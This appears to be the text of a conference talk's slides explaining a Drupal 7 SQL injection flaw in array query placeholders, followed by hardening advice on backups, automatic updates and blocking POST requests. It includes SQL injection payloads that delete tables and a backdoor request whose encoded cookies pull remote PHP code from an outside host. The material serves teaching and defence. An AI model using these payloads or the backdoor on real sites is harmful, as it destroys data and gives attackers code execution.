I'm Matt Korostoff
I work for FFW
(and you should too)
<?php
//A normal database query
$nid = 123;
db_query(
"SELECT title FROM {node} WHERE nid = :nids",
array(':nid' => $nid)
);
<?php
$nids = array(123, 456, 489);
db_query(
"SELECT title FROM {node} WHERE nid IN (:nids)",
array(':nid' => $nids)
);
<?php
$nids = array(123, 456, 489);
db_query(
"SELECT title FROM {node} WHERE nid IN (:nids_0, :nids_1, :nids_2)",
array(':nids_0, :nids_1, :nids_2' => $nid)
);
<?php
$nids = array(
";DELETE FROM node;" => 123,
";DELETE FROM users;" => 456,
";DELETE FROM system;" => 489
);
db_query(
"SELECT title FROM {node} WHERE nid IN (:nids)",
array(':nid' => $nids)
);
Inject SQL
Execute Code
Upload files
Step 1.
Insert a row in menu_router
Step 2.
Get arbitrary code execution
GET /modules/poll/backdoor.php HTTP/1.1
Host: exploited.com
Cookie: Kcqf3=base64_decode; Kcqf2=cHJlZ19yZXBsYWNl; Kcqf1=ZmlsZV9nZXRfY29udGVudHMoIm1hdHRrb3Jvc3RvZmYuY29tL3VwbG9hZGVyLnBocCIp
Step 3.
Get file upload access
Acquia
Pantheon
platform.sh
Black Mesh
#Backup database
0 2 * * * drush @yoursite sql-dump > /path/to/$(date +\%Y\%m\%d\%H\%M\%S).sql
* */2 * * * drush @yoursite cron
#Without git
0 */2 * * * drush @yoursite up -y --security
#With git
0 */2 * * * cd /path/to/your/repository/ &&
drush up --security -y &&
git commit -am 'Automatic security update' &&
git push origin master
#VCL
if (req.request == "POST") {
error 404 "No";
}
#.htaccess
Deny from all
Allow from 123.123.123.123